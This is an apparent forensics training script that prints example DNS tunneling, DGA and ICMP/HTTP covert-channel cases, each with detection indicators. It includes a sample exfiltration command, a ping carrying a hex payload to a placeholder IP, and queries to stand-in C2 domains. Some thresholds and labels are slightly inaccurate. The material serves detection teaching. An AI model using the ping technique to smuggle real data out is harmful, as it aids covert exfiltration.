Expert 4: Covert Channel Detection - DNS Tunneling & ICMP Exfiltration

cd ~ && mkdir forensics-exp4 && cd forensics-exp4

# 1. DNS Tunneling Detection
python3 << 'PYEOF'
print("=== DNS Tunneling Detection ==*")

dns_queries = [
    ("google.com", 50, True, "normal", "✅"),
    ("malware-c2.com", 1, False, "subdomain_normal", "⚠️"),
    ("aklsjdflkajsdflkjasdlfkjlasdkfj.malware-c2.com", 1, False, "subdomain_64chars", "🚩 DNS TUNNELING"),
    ("xn--38jdfh83hf73hf.malware-c2.com", 1, False, "random_dga", "🚩 DGA DOMAIN"),
    ("data1234.exfil-c2.com", 1, True, "encoded_subdomain", "🚩 EXFIL VIA DNS!"),
    ("cdn.images.google.com", 200, True, "normal_cdn", "✅"),
]

print(f"{'Domain':<55} {'Count':<8} {'Tipe':<20} {'Status'}")
print("-"*100)

for domain, count, known, dtype, status in dns_queries:
    print(f"{domain:<55} {count:<8} {dtype:<20} {status}")

print("\n📌 DNS Tunneling Indicators:")
print("  1. Subdomain > 52 characters (DNS limits)")
print("  2. High query count ke domain yang tidak dikenal")
print("  3. TXT/ANY record queries (sering untuk data encoding)")
print("  4. Random-looking subdomain (DGA pattern)")
print("  5. Query ke IP yang bukan DNS server legitimate")
PYEOF

# 2. ICMP Covert Channel
echo ""
echo "=== ICMP Covert Channel ==*"
python3 << 'PYEOF'
print("Normal ICMP ping:")
print("  ping 8.8.8.8 → 64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=12.3ms")
print()
print("ICMP Covert Channel:")
print("  ping -p '48656c6c6f' 203.0.113.5")  
print("    -p = pattern payload (hex)")
print("    '48656c6c6f' = 'Hello' dalam ASCII")
print("    Data dikirim dalam ICMP echo request payload!")
print()
print("🚩 Deteksi:")
print("  - ICMP packet size > 84 bytes (standard)")
print("  - ICMP payload bukan zero-filled")
print("  - High frequency ICMP ke IP yang sama")
print("  - ICMP dari server ke IP asing (server biasanya tidak ping)")
PYEOF

# 3. HTTP covert channel (timing-based)
echo ""
echo "=== HTTP Timing Covert Channel ==*"
cat << 'HTTPC'
HTTP timing covert: attacker mengirim data melalui JEDA waktu antar request.
Contoh: 
  Bit 0 = delay 100ms antar request
  Bit 1 = delay 300ms antar request
  
  Request 1 → (100ms) → Request 2 → (300ms) → Request 3
  → Data: 0, 1

Sangat sulit dideteksi karena traffic terlihat normal (HTTP biasa).
Deteksi: statistical analysis - distribusi delay tidak normal.
HTTPC